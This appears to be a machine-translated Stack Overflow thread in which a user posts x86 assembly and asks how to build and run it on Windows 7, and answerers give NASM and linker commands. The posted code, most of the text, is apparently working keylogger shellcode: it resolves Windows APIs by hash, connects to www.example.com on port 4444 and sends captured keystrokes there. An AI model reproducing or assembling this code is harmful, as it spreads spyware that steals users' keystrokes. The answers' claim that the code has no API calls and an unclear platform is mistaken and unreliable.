2016-11-16 111 views
0

你能告訴我如何在Windows 7 32位機器上執行此代碼嗎?
我需要編譯它嗎?如果是的話,我應該怎麼做?
該文件應包含哪個結尾(.exe)?如何在Windows 7 32位上編譯/執行以下代碼?

section .bss 

section .data 

section .text 
    global _start 
     _start: 
    cld 
    call dword loc_88h 
    pushad 
    mov ebp,esp 
    xor eax,eax 
    mov edx,[fs:eax+0x30] 
    mov edx,[edx+0xc] 
    mov edx,[edx+0x14] 
    loc_15h: 
    mov esi,[edx+0x28] 
    movzx ecx,word [edx+0x26] 
    xor edi,edi 
loc_1eh: 
    lodsb 
    cmp al,0x61 
    jl loc_25h 
    sub al,0x20 
loc_25h: 
    ror edi,byte 0xd 
    add edi,eax 
    loop loc_1eh 
    push edx 
    push edi 
    mov edx,[edx+0x10] 
    mov ecx,[edx+0x3c] 
    mov ecx,[ecx+edx+0x78] 
    jecxz loc_82h 
    add ecx,edx 
    push ecx 
    mov ebx,[ecx+0x20] 
    add ebx,edx 
    mov ecx,[ecx+0x18] 
loc_45h: 
    jecxz loc_81h 
    dec ecx 
    mov esi,[ebx+ecx*4] 
    add esi,edx 
    xor edi,edi 
loc_4fh: 
    lodsb 
    ror edi,byte 0xd 
    add edi,eax 
    cmp al,ah 
    jnz loc_4fh 
    add edi,[ebp-0x8] 
    cmp edi,[ebp+0x24] 
    jnz loc_45h 
    pop eax 
    mov ebx,[eax+0x24] 
    add ebx,edx 
    mov cx,[ebx+ecx*2] 
    mov ebx,[eax+0x1c] 
    add ebx,edx 
    mov eax,[ebx+ecx*4] 
    add eax,edx 
    mov [esp+0x24],eax 
    pop ebx 
    pop ebx 
    popad 
    pop ecx 
    pop edx 
    push ecx 
    jmp eax 
loc_81h: 
    pop edi 
loc_82h: 
    pop edi 
    pop edx 
    mov edx,[edx] 
    jmp short loc_15h 
loc_88h: 
    pop ebp 
    push dword 0x3233 
    push dword 0x5f327377 
    push esp 
    push dword 0x726774c 
    call ebp 
    mov eax,0x190 
    sub esp,eax 
    push esp 
    push eax 
    push dword 0x6b8029 
    call ebp 
    push byte +0x10 
    jmp dword loc_1ceh 
loc_b2h: 
    push dword 0x803428a9 
    call ebp 
    lea esi,[eax+0x1c] 
    xchg esi,esp 
    pop eax 
    xchg esp,esi 
    mov esi,eax 
    push dword 0x6c6c 
    push dword 0x642e7472 
    push dword 0x6376736d 
    push esp 
    push dword 0x726774c 
    call ebp 
    jmp dword loc_1e3h 
loc_dfh: 
    push dword 0xd1ecd1f 
    call ebp 
    xchg ah,al 
    ror eax,byte 0x10 
    inc eax 
    inc eax 
    push esi 
    push eax 
    mov esi,esp 
    xor eax,eax 
    push eax 
    push eax 
    push eax 
    push eax 
    inc eax 
    inc eax 
    push eax 
    push eax 
    push dword 0xe0df0fea 
    call ebp 
    mov edi,eax 
loc_104h: 
    push byte +0x10 
    push esi 
    push edi 
    push dword 0x6174a599 
    call ebp 
    test eax,eax 
    jz loc_122h 
    dec dword [esi+0x8] 
    jnz loc_104h 
    xor eax,eax 
    push eax 
    push dword 0x56a2b5f0 
    call ebp 
loc_122h: 
    push dword 0x3233 
    push dword 0x72657375 
    push esp 
    push dword 0x726774c 
    call ebp 
    push dword 0x657461 
    push dword 0x74537965 
    push dword 0x4b746547 
    push esp 
    push eax 
    push dword 0x7802f749 
    call ebp 
    push esi 
    push edi 
    push eax 
    xor ecx,ecx 
    mov esi,ecx 
    mov cl,0x8 
loc_155h: 
    push esi 
    loop loc_155h 
loc_158h: 
    xor ecx,ecx 
    xor esi,esi 
    push byte +0x8 
    push dword 0xe035f044 
    call ebp 
loc_165h: 
    mov eax,esi 
    cmp al,0xff 
    jnc loc_158h 
    inc esi 
    push esi 
    call dword [esp+0x24] 
    mov edx,esi 
    xor ecx,ecx 
    mov cl,0x80 
    and eax,ecx 
    xor ecx,ecx 
    cmp eax,ecx 
    jnz loc_18fh 
    xor edx,edx 
    mov ecx,edx 
    mov eax,esi 
    mov cl,0x20 
    div ecx 
    btr [esp+eax*4],edx 
    jmp short loc_165h 
loc_18fh: 
    xor edx,edx 
    mov ecx,edx 
    mov eax,esi 
    mov cl,0x20 
    div ecx 
    bt [esp+eax*4],edx 
    jc loc_165h 
    xor edx,edx 
    mov ecx,edx 
    mov eax,esi 
    mov cl,0x20 
    div ecx 
    bts [esp+eax*4],edx 
    push esi 
    push byte +0x10 
    push dword [esp+0x30] 
    push byte +0x0 
    push byte +0x1 
    lea ecx,[esp+0x10] 
    push ecx 
    push dword [esp+0x3c] 
    push dword 0xdf5c9d75 
    call ebp 
    lea esp,[esp+0x4] 
    jmp short loc_158h 
loc_1ceh: 
    call dword loc_b2h 
    db "www.example.com",0 
loc_1e3h: 
    call dword loc_dfh 
    db "4444",0 

回答

1

這看起來像32位NASM彙編代碼(A simple beginners introduction)。你可以彙編它(不是編譯它)與this installer從NASM網站(在這個答案時2.12.02版本)。

裝配和連接其上的Windows 7是這樣的:

如果您有Microsoft C編譯器,你(的地方),從微軟的連接器命名爲link.exe。如果你不這樣做,你可以下載Windows 7 SDK,它提供了C編譯器和鏈接器(link.exe)。

nasm -f win32 yourProg.asm 
link /entry:_start /subsystem:console yourProg.obj <locationOfYour>\kernel32.lib 

但快速瀏覽過的代碼使很明顯,有NO在它顯然命名的API調用,因此目標平臺(Windows,Linux和MacOS的,其他)難以確定。所以這段代碼可能會彙編,但它的執行可能(!)無用(除非在調試器中運行)。

+0

它有API調用,但它們使用的地址不是符號名稱。最有可能的原始代碼是在加載器執行修正後,通過拆分內存映像獲得的。是的,平臺很難確定。 –

+0

@ BenVoigt:是的,可能會有API調用。否則它可能是一個未知的操作系統。如果它是Linux,我想這裏面會有一些'int 0x80'。它似乎也不是Windows。這些'call ebp'似乎對我來說很奇怪,但這超出了這個問題的範圍。 – zx485

+0

但是,如果它是內核代碼,以上條件都不能應用... – zx485

相關問題